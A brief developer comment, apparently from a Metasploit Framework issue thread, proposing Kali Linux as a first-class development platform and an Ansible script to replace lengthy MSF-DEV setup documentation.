@FireFart I'd like to promote Kali as a first-class citizen when it comes to being a dev platform, TBH. The above looks useful to that end. But, rather than clump it all on the MSF-DEV docs, I want to considerably shorten those docs and have a scripted method to do all the setup-y bits. With Ansible, as I've been threatening to do for weeks.